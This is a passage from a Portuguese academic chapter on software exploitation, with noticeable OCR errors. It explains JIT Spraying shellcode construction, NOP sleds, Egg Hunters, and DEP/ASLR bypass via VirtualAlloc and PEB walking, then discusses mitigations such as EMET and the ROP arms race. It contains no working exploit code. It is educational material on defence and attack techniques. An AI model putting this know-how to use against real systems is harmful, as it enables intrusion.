ainstrucéo “CMP AL, 35" poderia alterar o valor do flag a ser checado para a definicéo
do salto.
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Alexey Sintsov apresentou um estudo detalhado sobre os cuidados a serem
adotados durante a construcéo de shellcodes a serem inseridos via ActionScript JIT
Soraying [Sintsov, 2010a]. Nesse trabaho, ele soluciona o desafio de realizar desvios
condicionais trocando o valor Ox3C por Ox6A. Assim, 0 processador executa uma
instrucdo “PUSH 35" ao encontrar a sequéncia 0x6A 35, ao invés de executar “CMP AL,
35". Isso garante que os valores de flags, estabelecidos durante a execucdo da instrucéo
“CMP AL,5" (endereco 0x24), serdo mantidos até a execucdo da instrucéo de desvio
condicional (no caso do Egg Hunter, tratase de um JZ — vide secdo 1.4.1).
Naturalmente, apesar de ndo comprometer os flags, ainstrucéo de “PUSH 35" possui 0
efeito de empilhar um vaor na pilha, 0 que pode atrapalhar futuramente o
funcionamento do shellcode. Para evitar isso, 0 atacante insere, em algum ponto depois
do “PUSH 35’ e antes de acessar a pilha, uma instrucdo de POP (ex: POP EDX que
equivale aOx5A).

Apds debrucar-se sobre tantos detalhes, o leitor deve estar se perguntando se as
minUcias até aqui descritas sdo suficientes para que ele reproduza seu proprio exploit
baseado em JIT Spraying. A resposta, por incrivel que pareca, € ndo! Sintsov discute
ainda outros aspectos importantes para a construcdo de shellcodes a serem inseridos via
ActionScript JIT Spraying. Contudo, esses detalhes ndo serdo explicados aqui, por
fugirem do escopo deste trabal ho.

Assim como no Heap Spraying, o endereco utilizado pelo atacante para desviar
o fluxo de execucdo é uma estimativa. Por isso, natécnica de JIT Spraying, o shellcode
também é prefixado por vérias instrucdes de NOP. Isso aumenta a quantidade de
enderecos que, a0 serem escritos no registrador de instrucdes (EIP), acarretardo na
execucdo do shellcode. Contudo, a sequéncia de NOPs criados através do JIT Spraying
nao tem a mesma eficiéncia que os NOPs gerados via Heap Spraying. 1sso ocorre por
causa do byte 0x35, inserido pelo compilador JT. Se o fluxo de execucéo for desviado
exatamente para esse byte, o programa acabara executando a sequéncia de instrucoes
XOR originamente prevista no codigo compilado. Portanto, para cada 5 bytes de uma
sequéncia de NOPs (ex: 0x359090903C), apenas 4 levam a execucdo do shellcode.

Sintsov derta ainda para o tamanho do shellcode a ser inserido via JIT
Soraying. Segundo o autor, se o bytecode a ser alocado for grande, podera ocorrer um
distanciamento entre os blocos correspondentes na memoria. 1sso degradara as chances
de sucesso de uma estratégia baseada em borrifar dados. Além disso, shellcodes
pequenos deixam mais espaco no bloco para a sequéncia de NOPs, aumentando as
chances de sucesso de acertar 0 endereco de desvio. Por tudo isso, ao utilizar a técnica
de JIT Spraying, recomenda-se optar por um Egg Hunter como shellcode [Sintsov,
2010b]. A Figura 110 ilustra a estrutura na memaoria montada por um exploit que
emprega JIT Spraying para disponibilizar um Egg Hunter no heap.
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Figura 1.10. Estrutura da memaria montada por exploit queusaJIT Spraying e Egg Hunter.

Buffer Estourado

Antes de explorar uma vulnerabilidade que permita subverter o fluxo de
execucdo da aplicacdo (um estouro de pilha, por exemplo), o codigo ActionScript do
atacante insere 0 segundo estégio do shellcode na memaria, prefixado por um marcador
(tag) a ser procurado pelo Egg Hunter. Essa inser¢do normamente € realizada através
dainicializagdo de uma variavel do tipo string com o codigo hexadecimal do shellcode.
Depois disso, via JIT Spraying, o script do atacante forca sucessivas aocacoes
sequéncias do primeiro estagio do shellcode (Egg Hunter), que € prefixado por uma
longa sequéncia de instrucdes NOP. Esses blocos sdo aocados através da repeticdo da
operacdo de “OU-exclusivo” (operador ”) entre constantes, conforme indicado na
Listagem 1.8.

Apo6s finalizar a pulverizacgo dos blocos na memdria, o atacante forga a falha do
software, obrigando o fluxo de execucéo a saltar para a sequéncia de instrugoes NOP. O
fluxo de execucdo segue até o Egg Hunter, que — através do marcador — descobre o
endereco de memoéria onde esta localizado o segundo estdgio do shellcode. Porém,
como 0 segundo estagio do shellcode ndo foi inserido via JIT Spraying, ele ndo possui
permissdo de execucdo. Por isso, é necessario superar o0 DEP antes de desviar o fluxo de
EXEeCUCa0.

Para isso, um codigo anexado ao final do Egg Hunter chama a funcéo
“VirtualAlloc”, a fim de criar uma nova &rea de memaria com permissdo de execucao.
As fungbes “memcpy” ou “WriteProcessMemory” sdo entdo utilizadas para copiar o
segundo estdgio do shellcode para a éea recém-alocada. Finamente, o fluxo de
execucao € desviado para o derradeiro estégio do shellcode. Visto que atécnicade JIT
Soraying normalmente € empregada para burlar também o ASLR (além do DEP), é
necessario descobrir os enderecos das funcdes mencionadas, antes de chamélas. O
mecanismo de descoberta desses enderecos envolve percorrer os dados referentes as
bibliotecas carregadas, disponiveis no PEB (Process Execution Block) do processo.
Wever [Wever, 2009] e Sintsov [Sintsov, 2010a] apresentam boas estratégias para
cumprir esse requisito. Como a explicacdo dessas abordagens foge do escopo deste
trabalho, elas n&o serdo detalhadas.

1.5. Consider agcOes finais

Pesquisadores trabalham constantemente no desenvolvimento de novas técnicas de
protecdo, a0 mesmo tempo que os fabricantes de softwares se esmeram em aprimorar
suas contra medidas. Por conta disso, se por um lado tem sido mais fécil encontrar
novas vulnerabilidades — em funcdo da evolugdo das diversas ferramentas de andlise de
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aplicacOes, como softwares para fuzzing —, a consolidacdo de exploracbes € cada vez
mais dificil. O conhecimento necessario para efetivar esses atagues cresce junto com o
nivel de dificuldade de elabora-los. Da mesma forma, o conhecimento basico necesséario
para a elaboracdo de novas técnicas, defensivas ou ofensivas, tem se elevado ao longo do
tempo.

Existem vérios exemplos que demonstram a corrida evolucionéria travada entre
atacantes e defensores no que se refere a exploracdo de softwares. Um episddio recente
ilustra bem esse cen&rio. Por ter se tornado a principal técnica utilizada por
desenvolvedores de exploits para superar o DEP, mitigacOes contra o ROP tém sido
amplamente estudadas. A Microsoft anunciou um novo mecanismo de protegéo contra o
ROP, inserido na versdo preliminar do Windows 8. Ele impede a chamada de
determinadas APIs (apenas aquelas tipicamente utilizadas em atagues ROP) caso os
par@metros ndo estejam armazenados na area de pilha do processo. No entanto, poucos
dias depois, pesquisadores apresentaram demonstraces de duas estratégias
relativamente simples capazes de burlar essa defesa®. Tudo isso relacionado a um
sistema que ainda nem foi langado oficialmente.

Outro ponto de concentragéo de esforcos da Microsoft na busca por mecanismos
de contencdo de atagues tem sido a ferramenta EMET (Enhanced Mitigation
Experience Toolkit) [Microsoft, 2012a]. Trata-se de um utilitério gratuito que pode ser
instalado nos sistemas Windows. Ao longo do tempo, essa ferramenta tem agregado
uma série de protecOes contra técnicas de desenvolvimento de exploits. Atualmente, ela
inclui, entre outros, 0s seguintes mecanismos [Microsoft, 2012b]:

a) Uma versdo aprimorada do SEHOP,

b) Uma protecdo contra Heap Spraying, que pré-aloca as regides de memoria
popularmente usadas por atacantes nesse tipo de exploracdo (exemplos:
OxOAOAOAOQA e 0x0COCOCOC);

c) O suporte a ASLR obrigatorio, que forca o uso do ASLR paratodos os modul os;

d) DEP dindmico, que permite habilitar o DEP mesmo para aplicacdes que ndo
foram compiladas com o flag /NXCOMPACT;

€) Quatro novas mitigagOes contra ROP, incluindo uma versdo do ROPGuard, uma
defesa contra ROP apresentada por Ivan Fratric no concurso BlueHat Prize
[Microsoft, 2012c].

No caso do ultimo mecanismo mencionado, ainda disponivel apenas na versao
de testes do EMET (EMET 3.5 Tech Preview), duas semanas ap0s 0 seu anuncio, foi
demonstrada uma técnica para superé-lo [Repret, 2012]. Apesar disso, todo o0 esforgo
gue tem sido promovido para proporcionar uma evolucdo dos mecanismos de defesa tem
um impacto considerdvel no custo para desenvolver exploits confiaveis, elevando
também o volume de conhecimento a ser assimilado pelos atacantes. Atualmente, o
principal objetivo dos pesquisadores de protecdes contra exploits é justamente tornar o

% Demonstracdes de superacdo da protecdo contra ROP implementada no Windows 8;
http://vulnfactory.org/bl og/2011/09/21/defeating-windows-8-rop-mitigation/
http://blog.bkav.com/en/rop-chain-for-windows-8/
http://bl og.bkav.com/en/advanced-generic-rop-chain-for-windows-8/
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processo de desenvolvimento de exploits td0 caro que essa tendéncia passe a
desestimular a atividade de construcdo de codigos maliciosos [Microsoft, 2010b].

Finalmente, parece claro que ndo existird uma protecdo Unica capaz de impedir
todos os tipos de ataques. Ao invés disso, a seguranca deve ser acangada através do uso
consciente de todos os mecanismos de defesa disponiveis. Além disso, sem um bom
conhecimento sobre todos os aspectos envolvidos nos ataques, torna-se dificil adaptar as
solugdes existentes aos NoVos cenarios, que emergem constantemente.
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